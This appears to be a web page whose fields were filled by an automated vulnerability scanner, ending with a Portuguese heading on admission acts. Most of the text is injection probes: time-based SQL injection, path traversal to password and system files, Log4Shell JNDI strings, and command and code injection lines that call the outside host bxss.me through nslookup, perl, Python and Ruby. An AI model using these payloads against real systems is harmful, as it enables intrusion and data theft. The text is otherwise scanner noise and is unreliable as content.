*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1'"

1

1

1����%2527%2522

1

1

@@H0GYB

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

S8NZ2M3G

1

-1 OR 2+476-476-1=0+0+0+1 --

1

-1 OR 2+338-338-1=0+0+0+1

1

-1' OR 2+375-375-1=0+0+0+1 --

1

-1' OR 2+513-513-1=0+0+0+1 OR 'FPOF9VZ8'='

1

-1" OR 2+818-818-1=0+0+0+1 --

1

IF(NOW()=SYSDATE(),SLEEP(15),0)

1

0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z

1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

1

(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(

1

-1; WAITFOR DELAY '0:0:15' --

1

-1); WAITFOR DELAY '0:0:15' --

1

-1)); WAITFOR DELAY '0:0:15' --

1

1 WAITFOR DELAY '0:0:15' --

1

1 WAITFOR DELAY '0:0:3' --

1

1 WAITFOR DELAY '0:0:15' --

1

CFIGF3RX'; WAITFOR DELAY '0:0:15' --

1

GNSY9H4H'); WAITFOR DELAY '0:0:15' --

1

MJSW1YD6')); WAITFOR DELAY '0:0:15' --

1

-5 OR 862=(SELECT 862 FROM PG_SLEEP(15))--

1

-5) OR 229=(SELECT 229 FROM PG_SLEEP(15))--

1

-1)) OR 791=(SELECT 791 FROM PG_SLEEP(15))--

1

JRF8HKFS' OR 595=(SELECT 595 FROM PG_SLEEP(15))--

1

BMQMPHNL') OR 666=(SELECT 666 FROM PG_SLEEP(15))--

1

4E5OJBFZ')) OR 864=(SELECT 864 FROM PG_SLEEP(15))--

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

@@A3UNJ

1

1

1

1

1

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

bcc:009247.25-103068.25.4f843.19042.2@bxss.me

1

1

1

1

to@example.com> bcc:009247.25-103069.25.4f843.19042.2@bxss.me

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

1

1

12345'"\'\");|]*{ <>�''💡

1

1

1

1

1

1

1

1 BCC:009247.25-103072.25.4F843.19042.2@BXSS.ME

1

1

../../../../../../../../../../../../../../windows/win.ini

1

TO@EXAMPLE.COM> BCC:009247.25-103073.25.4F843.19042.2@BXSS.ME

0

1

1

1

1

1

0

1

1

1

1

1

1

1

1

1

../

1

1

1

1

1

1

1

1

1

1

0

1

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

vHRP3Yug

1

1

1

1

1

1

1

1

1

GW50MYIH

1

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

${9999145+10000469}

0

1

1

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

1

1

1

1

1

../../../../../../../../../../../../../../ETC/PASSWD

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

../../../../../../../../../../../../../../WINDOWS/WIN.INI

1

1

1

1

1

/../../../../../../../../../../WINDOWS/SYSTEM32/BITSADMIN.EXE

0

1

1

1

1

1

Http://bxss.me/t/fit.txt

1

../1

1

1

1

1

http://bxss.me/t/fit.txt?.jpg

1

1

bxss.me

0

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

0

1

1

1

${j${::-n}di:dns${::-:}//hitdwnhyerpqq8ea3a${::-.}bxss.me}zzzz

1

1

1

${9999168+9999851}

1

1

0

1

1

1

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitltwihhhyrn5b457${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.25-103078.25.4f843${::-.}1${::-.}bxss.me}}

1

1

1

1

1

1

1

1

response.write(9547996*9684831)

1

1

1

1

1

1

'+response.write(9547996*9684831)+'

1

1

1

1

"+response.write(9547996*9684831)+"

1

1

1

${J${::-N}DI:DNS${::-:}//HITXGMBIFLREP3D66D${::-.}BXSS.ME}ZZZZ

1

1

1

1

1

1

1

1

1

�💡'"><&;|${${LOWER:J}${::-N}D${UPPER:I}:DNS${::-:}//HITDLBWZEGNTU5CB2D${::-.}BXSS.ME}AAAAAAAAAAAA

1

1

1

1

1

1

1

RESPONSE.WRITE(9833944*9245933)

1

1

1

'+RESPONSE.WRITE(9833944*9245933)+'

1

1

1

"+RESPONSE.WRITE(9833944*9245933)+"

1

1

'.gethostbyname(lc('hitid'.'towxstow2fd54.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(90).chr(111).chr(80).'

0

1

1

1

".gethostbyname(lc("hitjy"."opocuxxs438d1.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(87).chr(97).chr(73)."

1

${${:::::::::::::::::-J}NDI:DNS${:::::::::::::::::-:}//DNS.LOG4J.009247.25-103085.25.4F843${::-.}1${

0

1

0

1

1

1

1

1

1

1

1

1

0

1

1

1

1

HTTP://SOME-INEXISTENT-WEBSITE.ACU/SOME_INEXISTENT_FILE_WITH_LONG_NAME?.JPG

1

1

1

1

1

1SOME_INEXISTENT_FILE_WITH_LONG_NAME.JPG

1

'.GETHOSTBYNAME(LC('HITJQ'.'IYBCDFGFB5CE2.BXSS.ME.')).'A'.CHR(67).CHR(HEX('58')).CHR(114).CHR(73).CH

1

1

0

1

1

".GETHOSTBYNAME(LC("HITPQ"."AUIIJIBRD6882.BXSS.ME."))."A".CHR(67).CHR(HEX("58")).CHR(100).CHR(89).CH

0

1

0

1

1

1

&n953785=v935786

1

1

1

1

echo urruwr$()\ nnryhq\nz^xyu||a #' &echo urruwr$()\ nnryhq\nz^xyu||a #|" &echo urruwr$()\ nnryhq\nz^xyu||a #

1

1

&echo dxozmc$()\ qzygtx\nz^xyu||a #' &echo dxozmc$()\ qzygtx\nz^xyu||a #|" &echo dxozmc$()\ qzygtx\nz^xyu||a #

1

1

0

1

1

HTTP://BXSS.ME/T/FIT.TXT

1

1

|echo tctifs$()\ nsoozv\nz^xyu||a #' |echo tctifs$()\ nsoozv\nz^xyu||a #|" |echo tctifs$()\ nsoozv\nz^xyu||a #

1

1

1

1

1

1

1

1

(nslookup hitlrpyvljyld99149.bxss.me||perl -e "gethostbyname('hitlrpyvljyld99149.bxss.me')")

1

HTTP://BXSS.ME/T/FIT.TXT?.JPG

1

BXSS.ME

1

1

1

1

0

1

1

1

'"()

0

1

1

1

0

1

1

1

0

1

1

1&N957708=V999063

1

1

$(nslookup hiteehukmleppb7f0b.bxss.me||perl -e "gethostbyname('hiteehukmleppb7f0b.bxss.me')")

0

1

1

1

&(nslookup hitrhypxzfyoeb8f8a.bxss.me||perl -e "gethostbyname('hitrhypxzfyoeb8f8a.bxss.me')")&'\"`0&(nslookup hitrhypxzfyoeb8f8a.bxss.me||perl -e "gethostbyname('hitrhypxzfyoeb8f8a.bxss.me')")&`'

1

1

1

1

)

1

1

|(nslookup hityytsocnnml86c74.bxss.me||perl -e "gethostbyname('hityytsocnnml86c74.bxss.me')")

0

1

1

1

1

1

!(()&&!|*|*|

1

1

`(nslookup hitgqamhimtgk443c3.bxss.me||perl -e "gethostbyname('hitgqamhimtgk443c3.bxss.me')")`

1

1

1

1

^(#$!@#$)(()))******

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"()

1

1

1

1

1

1

;(nslookup hitlxlyoorkav6c779.bxss.me||perl -e "gethostbyname('hitlxlyoorkav6c779.bxss.me')")|(nslookup hitlxlyoorkav6c779.bxss.me||perl -e "gethostbyname('hitlxlyoorkav6c779.bxss.me')")&(nslookup hitlxlyoorkav6c779.bxss.me||perl -e "gethostbyname('hitlxlyoorkav6c779.bxss.me')")

0

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

)

1

1

http://hitomperwzrfy.bxss.me/

1

1

';print(md5(31337));$a='

1

!(()&&!|*|*|

1

1

1

1

1

1

1

1

";print(md5(31337));$a="

1

^(#$!@#$)(()))******

1

1

1

1

${@print(md5(31337))}

0

1

1

1

1

HTTP://HITYEXSEYPCET.BXSS.ME/

1

1

0

1

1

1

${@print(md5(31337))}\

1

1

1

1

0

1

0

1

1

1

1

1

1

1

0

1

1

1

1

1

Create

1

1

1

1

1

1

1

1

'.print(md5(31337)).'

1

1

Create

1

1

/xfs.bxss.me

1

1

1

1

Create/.

1

1

1

1

1

1

1

ECHO WYJBDT$()\ PKSDCI\NZ^XYU||A #' &ECHO WYJBDT$()\ PKSDCI\NZ^XYU||A #|" &ECHO WYJBDT$()\ PKSDCI\NZ

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

&ECHO ZVDFGL$()\ RYPXVB\NZ^XYU||A #' &ECHO ZVDFGL$()\ RYPXVB\NZ^XYU||A #|" &ECHO ZVDFGL$()\ RYPXVB\N

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

0

1

1

|ECHO YZDZGB$()\ BAEDRP\NZ^XYU||A #' |ECHO YZDZGB$()\ BAEDRP\NZ^XYU||A #|" |ECHO YZDZGB$()\ BAEDRP\N

1

1

1

/XFS.BXSS.ME

1

1

1

1

1

CREATE

1

1

1

1

'"

0

1

1

1

1

1

1

(NSLOOKUP HITEVEVSMHCLY38E04.BXSS.ME||PERL -E "GETHOSTBYNAME('HITEVEVSMHCLY38E04.BXSS.ME')")

1

1

1

'"

1

;ASSERT(BASE64_DECODE('CHJPBNQOBWQ1KDMXMZM3KSK7'));

1

1

1

CREATE

1

$(NSLOOKUP HITEPQZZNEZVK7DEAA.BXSS.ME||PERL -E "GETHOSTBYNAME('HITEPQZZNEZVK7DEAA.BXSS.ME')")

1

';PRINT(MD5(31337));$A='

1

1

0

1

1

CREATE/.

1

1

0

1

1

&(NSLOOKUP HITVYIGPGNWXAAC11C.BXSS.ME||PERL -E "GETHOSTBYNAME('HITVYIGPGNWXAAC11C.BXSS.ME')")&'\"`0&

1

1

1

1

1

|(NSLOOKUP HITAIEKOCQGMP02191.BXSS.ME||PERL -E "GETHOSTBYNAME('HITAIEKOCQGMP02191.BXSS.ME')")

1

1

"+"A".concat(70-3).concat(22*4).concat(111).concat(81).concat(107).concat(70)+(require"socket" Socket.gethostbyname("hitzg"+"geeibkvw49c27.bxss.me.")[3].to_s)+"

1

`(NSLOOKUP HITQHHKNTZHMOF9165.BXSS.ME||PERL -E "GETHOSTBYNAME('HITQHHKNTZHMOF9165.BXSS.ME')")`

1

1

'+'A'.concat(70-3).concat(22*4).concat(109).concat(81).concat(122).concat(89)+(require'socket' Socket.gethostbyname('hitvx'+'wnsjkdqo36c68.bxss.me.')[3].to_s)+'

0

1

1

1

1

;(NSLOOKUP HITBSEZVFAHDY7E4C7.BXSS.ME||PERL -E "GETHOSTBYNAME('HITBSEZVFAHDY7E4C7.BXSS.ME')")|(NSLOO

1

1

1

";PRINT(MD5(31337));$A="

0

1

1

1

9056632

1

${@PRINT(MD5(31337))}

0

1

1

1

1

"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(110).CONCAT(66).CONCAT(115).CONCAT(80)+(REQUIRE"SOCKET" SOCKE

1

${@PRINT(MD5(31337))}\

1

'.PRINT(MD5(31337)).'

0

1

1

1

1

'+'A'.CONCAT(70-3).CONCAT(22*4).CONCAT(97).CONCAT(68).CONCAT(98).CONCAT(77)+(REQUIRE'SOCKET' SOCKET.

0

1

1

1

0

1

0

1

0

1

0

1

1

1

ctime sleep p0 (I30 tp1 Rp2 .

0

1

1

1

0

1

1

1

1

1

0

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

1

bxss.me/t/xss.html?%00

0

1

1

1

1

19590307

1

1

1

1

0

1

1

1

1

1

0

1

1

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitosnnhdiabg3b86f.'+'bxss.me')

1

HTTP://BXSS.ME/T/XSS.HTML?%00

0

1

1

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitosnnhdiabg3b86f."+"bxss.me")+'

1

BXSS.ME/T/XSS.HTML?%00

0

1

1

1

1

1

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitosnnhdiabg3b86f.'+'bxss.me')+"

0

1

1

1

1

1

1

1

1

1

1

STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITQHEYIDSTFEFFB8F.'+'BXSS.ME')

1

'+STR(__IMPORT__("TIME").SLEEP(9))+__IMPORT__("SOCKET").GETHOSTBYNAME("HITQHEYIDSTFEFFB8F."+"BXSS.ME

1

"+STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITQHEYIDSTFEFFB8F.'+'BXSS.ME

0

1

0

1

19497609

1

1

1

0

1

0

1

0

1

0

1

1

1

1

1

iUPTiA80

1

1

-1 OR 2+356-356-1=0+0+0+1 --

1

1

-1 OR 2+166-166-1=0+0+0+1

1

1

-1' OR 2+821-821-1=0+0+0+1 --

1

1

-1' OR 2+101-101-1=0+0+0+1 or 'iAWziAyD'='

1

1

-1" OR 2+290-290-1=0+0+0+1 --

1

1

if(now()=sysdate(),sleep(15),0)

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

-1; waitfor delay '0:0:15' --

1

1

-1); waitfor delay '0:0:15' --

1

1

-1)); waitfor delay '0:0:15' --

1

1

1 waitfor delay '0:0:15' --

1

1

ovJ9rQJl'; waitfor delay '0:0:15' --

1

1

9i6hogoO'); waitfor delay '0:0:15' --

1

1

Dakn2pAe')); waitfor delay '0:0:15' --

1

1

-5 OR 331=(SELECT 331 FROM PG_SLEEP(15))--

1

1

-5) OR 528=(SELECT 528 FROM PG_SLEEP(15))--

1

1

-1)) OR 37=(SELECT 37 FROM PG_SLEEP(15))--

1

1

BmNdi47y' OR 78=(SELECT 78 FROM PG_SLEEP(15))--

1

1

mJp44yJo') OR 492=(SELECT 492 FROM PG_SLEEP(15))--

1

1

kb6TFRCQ')) OR 19=(SELECT 19 FROM PG_SLEEP(15))--

1

1

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1'"

1

1

1����%2527%2522

1

1

@@ECquI

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

NDN4Y994

1

-1 OR 2+661-661-1=0+0+0+1 --

1

-1 OR 2+35-35-1=0+0+0+1

1

-1' OR 2+937-937-1=0+0+0+1 --

1

-1' OR 2+409-409-1=0+0+0+1 OR 'E8D8TASN'='

1

-1" OR 2+945-945-1=0+0+0+1 --

1

IF(NOW()=SYSDATE(),SLEEP(15),0)

1

0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z

1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

1

(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(

1

-1; WAITFOR DELAY '0:0:15' --

1

-1); WAITFOR DELAY '0:0:15' --

1

-1)); WAITFOR DELAY '0:0:15' --

1

1 WAITFOR DELAY '0:0:15' --

1

6MTB39AG'; WAITFOR DELAY '0:0:15' --

1

EATTI5FM'); WAITFOR DELAY '0:0:15' --

1

5IIGANAK')); WAITFOR DELAY '0:0:15' --

1

-5 OR 516=(SELECT 516 FROM PG_SLEEP(15))--

1

-5) OR 218=(SELECT 218 FROM PG_SLEEP(15))--

1

-1)) OR 252=(SELECT 252 FROM PG_SLEEP(15))--

1

C1WLLKS3' OR 812=(SELECT 812 FROM PG_SLEEP(15))--

1

GNTSDIWR') OR 873=(SELECT 873 FROM PG_SLEEP(15))--

1

MKEJ9IUK')) OR 405=(SELECT 405 FROM PG_SLEEP(15))--

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

@@KIIRH

1

1

1

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

0

1

Atos Admissionais

Lista de atos admissionais realizados